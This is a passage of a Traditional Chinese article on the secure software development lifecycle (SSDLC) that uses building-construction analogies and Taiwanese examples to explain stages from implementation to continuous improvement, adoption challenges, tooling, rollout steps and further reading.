台灣情境舉例:設計一個銀行 App 時,你會規劃:登入要雙因素驗證、轉帳要簡訊 OTP 確認、敏感操作要重新輸入密碼、連續錯誤會鎖帳號。這些都是設計階段就要想好的安全機制。
階段三:安全實作(Implementation)
就像施工時確保用的是防火建材、電線符合安全規範
在寫程式時落實安全準則。這階段最常見的問題是開發者為了趕進度,忽略了安全編碼原則。
核心任務:安全編碼(防 SQL Injection、XSS 等)、依賴套件管理、憑證與金鑰保護、敏感資料加密
台灣情境舉例:你在寫登入功能時,密碼不能明碼存在資料庫,要用 bcrypt 或 Argon2 加密;使用者輸入的資料要過濾驗證,避免 SQL Injection;第三方套件要確認沒有已知漏洞才能用。
常見陷阱:很多台灣新創團隊為了快速上線,直接複製貼上網路上的程式碼範例,卻沒注意範例可能有安全漏洞,就像買便宜的山寨建材,表面看起來沒問題,但經不起考驗。
階段四:安全驗證(Verification)
就像房子蓋好後,要請結構技師檢查、消防設備檢測
確認系統的防禦措施真的有效,而不只是紙上談兵。
核心任務:
- SAST(靜態分析):檢查程式碼本身有沒有漏洞,就像 X 光檢查建築結構
- DAST(動態分析):實際運行系統並攻擊看看,就像請專業小偷測試防盜系統
- 滲透測試:找專業駭客模擬真實攻擊
- 供應鏈檢測:檢查使用的第三方套件有沒有漏洞
台灣情境舉例:你的電商網站上線前,除了功能測試,還要:用工具掃描有沒有常見漏洞、請資安公司做滲透測試、檢查用的 npm 套件有沒有已知漏洞。
階段五:安全部署(Deployment)
就像房子蓋好驗收後,正式交屋搬入
系統上線前的最後一關。確保運行環境的安全設定到位,不讓程式碼的安全努力功虧一簣。
核心任務:系統強化(關閉不必要的服務和 Port)、安全設定檢查(CIS Benchmark)、容器與雲端環境安全設定、部署流程安全
情境舉例:你的電商網站準備上線,這階段要確認:伺服器關閉 Debug 模式、Docker 不用 root 執行、AWS Security Group 只開放必要的 Port、HTTPS 強制啟用。
真實案例: 統X官網因為 debug 模式沒有關閉,造成資料庫帳號密碼洩漏。任何人只要有存取資料庫的 IP ,皆可透過帳號密碼存取資料。
階段六:安全維運(Operation)
就像房子住進去之後,持續保養、定期檢查消防設備、更新保全系統
系統上線不是結束,而是安全工作的新開始。駭客會不斷找新的攻擊方式,你也要持續強化防禦。
核心任務:監控異常行為、事件回應機制、自動修補漏洞、定期複測與漏洞管理
情境舉例:你的網站上線後,要監控是否有異常登入嘗試、定期更新伺服器與套件版本、準備好被攻擊時的應變計畫(就像火災逃生計畫)。
真實案例:2021 年台灣某大型論壇因為沒即時更新 Apache Struts 版本,被駭客利用已知漏洞入侵,導致會員資料外洩。這就是維運階段沒做好的慘痛教訓。
階段七:教育與持續改進(Education & Continuous Improvement)
就像定期舉辦社區防災演練、分享防盜經驗
技術會進步,攻擊手法會更新,團隊的安全意識也要跟著成長。
核心任務:內部教育訓練、安全度量指標追蹤、建立學習與分享機制
台灣情境舉例:每季舉辦一次資安教育訓練,讓工程師實際操作攻擊練習平台(如 OWASP Juice Shop),親身體驗漏洞是怎麼被利用的。或是當發生安全事件後,不是指責誰犯錯,而是開檢討會議,分享「我們學到什麼」。
這七個階段就像一個循環,不斷優化、不斷進步,形成「從開發到維運」的安全閉環防禦系統。
四、導入 SSDLC 的四大挑戰與破解之道
挑戰一:安全會拖慢開發進度?
迷思:「加入安全檢查,專案會delay」
真相:就像開車繫安全帶,花幾秒鐘能救你一命。早期發現漏洞的成本,遠低於上線後被攻擊的損失。
解決方案:導入自動化安全工具,整合進 CI/CD Pipeline,讓安全檢查與程式提交同步進行。就像現在的車子都有自動煞車系統,不需要你額外操作,但關鍵時刻能救命。
台灣實例:某台灣金融科技新創導入自動化掃描後,發現平均每次部署只多花 5 分鐘,但能提前抓到 80% 的常見漏洞,大幅減少後期修補時間。
挑戰二:團隊沒有專職資安人員
迷思:「我們公司小,請不起資安團隊」
真相:安全不一定要專人,但一定要有人重視。
解決方案:導入 Security Champion 計畫,讓每個開發小組選出一位「安全倡導者」,他不是資安專家,而是願意多學一點資安知識、在團隊內推廣安全實踐的開發者。就像班上的衛生股長,不需要是清潔專家,但要帶頭維持環境整潔。
實作建議:每個月給 Security Champion 一些時間學習資安知識,並在團隊內分享。公司可以提供資源(如線上課程、書籍、研討會門票)支持他們成長。
挑戰三:開發者覺得資安很無聊、很難懂
迷思:「資安都是一堆專有名詞,聽不懂也不想懂」
真相:資安其實很有趣,尤其當你親手攻破一個漏洞時。
解決方案:教育是 SSDLC 的根基,但教法要對。別用冗長的文件和無聊的簡報,而是讓開發者親手玩攻擊練習平台,像玩遊戲闖關一樣學資安。
推薦資源:
- OWASP Juice Shop:故意有漏洞的購物網站,你可以當駭客攻擊它
- WebGoat:OWASP 出品的互動式資安教學平台
- HackTheBox:全球知名的資安練習平台,有中文社群
台灣情境:某軟體公司每季舉辦「安全挑戰賽」,讓工程師組隊攻破 Juice Shop 的關卡,前三名有獎金。結果大家玩得超開心,而且真的學到很多。
挑戰四:第三方套件和 API 依賴的風險
迷思:「我用的都是知名套件,應該沒問題」
真相:2021 年底的 Log4Shell 漏洞告訴我們,再知名的套件也可能有嚴重漏洞。而且現代系統嚴重依賴開源套件,一個專案可能間接依賴上百個套件。
解決方案:導入 SCA(Software Composition Analysis) 工具與 SBOM(Software Bill of Materials),就像食品包裝上的成分標示,清楚列出你的軟體用了哪些第三方元件、版本是什麼、有沒有已知漏洞。
實作建議:使用工具如 Snyk、OWASP Dependency-Check,整合進 CI/CD,每次 build 都自動檢查依賴套件的安全性。
台灣實例:某台灣電商平台導入 Snyk 後,發現他們用的某個支付套件有嚴重漏洞,緊急更新後避免了可能的資料外洩風險。
五、在你的團隊落地 SSDLC:從零到一的實戰指南
知道理論很重要,但更重要的是「怎麼開始做」。以下是務實的導入步驟:
第一步:建立安全政策與標準流程
讓安全成為公司級的原則,不是各自解讀的「看著辦」。
實作方式:
- 制定「安全編碼規範」文件,列出必須遵守的原則(如密碼要加密、輸入要驗證)
- 定義「安全事件處理流程」,讓大家知道發現漏洞該找誰、怎麼處理
- 將安全要求納入專案規劃的 checklist
台灣建議:可以參考 OWASP 的 Cheat Sheet 系列,翻譯成中文並客製化成你們公司的版本。
第二步:選定一個專案試行,小步快跑
不要一開始就全公司推行,選一個適合的專案當試點。
理想選擇:
- 即將開發的新專案(乾淨的開始)
- 或是願意嘗試新做法的團隊
- 或是處理敏感資料的系統(如會員系統、金流系統)
實作方式:
- 在這個專案導入安全需求定義、威脅建模、自動化掃描
- 記錄遇到的問題與解決方法
- 專案結束後做回顧,評估效果
第三步:導入自動化檢查工具,讓機器幫你把關
人會累、會忘記,但機器不會。
推薦工具:
- SAST(靜態分析):SonarQube、Semgrep
- DAST(動態分析):OWASP ZAP、Burp Suite
- SCA(元件分析):Snyk、OWASP Dependency-Check
- Secret 掃描:GitGuardian、TruffleHog(防止把密碼、API key 推上 Git)
整合方式:在 CI/CD Pipeline 加入安全檢查關卡,如果發現嚴重漏洞就自動阻擋部署。
台灣建議:很多工具有免費版或開源版本,中小企業可以先從免費工具開始,不要因為預算問題就放棄安全。
第四步:建立回饋機制,讓錯誤變成學習
安全問題不只是修補,更是成長的機會。
實作方式:
- 當發現漏洞時,開「無咎會議」(blameless postmortem),焦點是「我們學到什麼」,而非「誰的錯」
- 建立內部知識庫,記錄常見漏洞與修復方法
- 定期舉辦「安全分享會」,讓團隊成員交流經驗
文化營造:讓大家知道「發現問題是貢獻,隱瞞問題才是罪過」。鼓勵開發者主動回報可疑的程式碼,而不是擔心被責備。
第五步:衡量成效,用數據說話
沒有度量,就沒有改進。
建議追蹤的指標:
- 漏洞發現時間:從程式碼寫出到發現漏洞的平均時間(越短越好)
- 漏洞修補時間:從發現到修復的平均時間
- 高風險漏洞數量:每次掃描發現的嚴重漏洞數(應該逐漸下降)
- 誤報率:工具誤判的比例(太高會讓人不信任工具)
- 訓練參與率:團隊成員完成資安訓練的比例
實作建議:每季做一次報告,呈現這些指標的趨勢,讓團隊看到進步。
六、SSDLC 的未來:AI 是助手,人才是核心
AI 與自動化正在改變 SSDLC 的面貌,讓落地更有效率:
AI 在安全開發的應用:
- 智慧程式碼審查:AI 協助檢查程式碼,不只抓語法錯誤,還能指出潛在的安全漏洞,並解釋為什麼這樣寫有風險
- 自動威脅建模:輸入系統架構圖,AI 自動分析可能的攻擊路徑
- AI 資安導師:像 GitHub Copilot 但專注在安全,寫程式時即時提示安全寫法
台灣發展:隨著 AI 技術普及,台灣的資安新創也在開發本地化的 AI 資安工具,更符合台灣企業的需求與法規(如個資法)。
但技術終究只是輔助,最關鍵的是「人」與「文化」。再先進的工具,如果團隊沒有安全意識,還是會被繞過或忽略。
SSDLC by 飛飛強調:
真正成熟的安全開發團隊,不是沒有漏洞,而是能快速發現、理解並修正漏洞。
就像醫生不敢說能治好所有病,但好的醫生能快速診斷、對症下藥。好的開發團隊也是如此——不是不犯錯,而是犯錯後能迅速修正並從中學習。
七、結語:讓安全成為創造的基石,而非創造的絆腳石
安全開發並非限制創意,而是讓創意得以長久存在的保障。就像音樂家需要樂理基礎才能自由即興,開發者掌握安全原則後,反而能更大膽創新,因為知道自己築起了堅固的防線。
SSDLC by 飛飛希望讓更多華語開發者理解:安全不只是防禦,而是信任與品質的展現。
當每一行程式碼都承載著安全意識,軟體的價值,不只是功能,而是信任。
在這個數位時代,使用者把他們的資料、隱私、甚至生活交給你的系統。你的程式碼不只是 0 與 1 的排列組合,更是一份沉甸甸的信任託付。
讓我們一起,用 SSDLC 打造值得信賴的軟體。
延伸閱讀:站在巨人的肩膀上
1. OWASP SAMM:安全開發成熟度模型
這是評估團隊安全開發能力的框架,就像健康檢查,幫你了解現在在哪裡、該往哪裡進步。
官方網站:https://owaspsamm.org
GitHub 專案:https://github.com/OWASP/samm
2. NIST SP 800-218:美國政府的安全開發框架
美國國家標準與技術研究院(NIST)出品,雖然是政府文件,但寫得很實用,適合各種規模的組織參考。
官方文件:https://csrc.nist.gov/publications/detail/sp/800-218/final
3. Microsoft SDL:微軟的安全開發實踐
微軟花了二十年建立的安全開發流程,從慘痛教訓中累積的經驗,非常值得學習。
官方網站:https://www.microsoft.com/en-us/securityengineering/sdl
你不是一個人在戰鬥。全球有無數開發者、資安專家正在這條路上前進,讓我們一起讓軟體世界更安全、更值得信賴。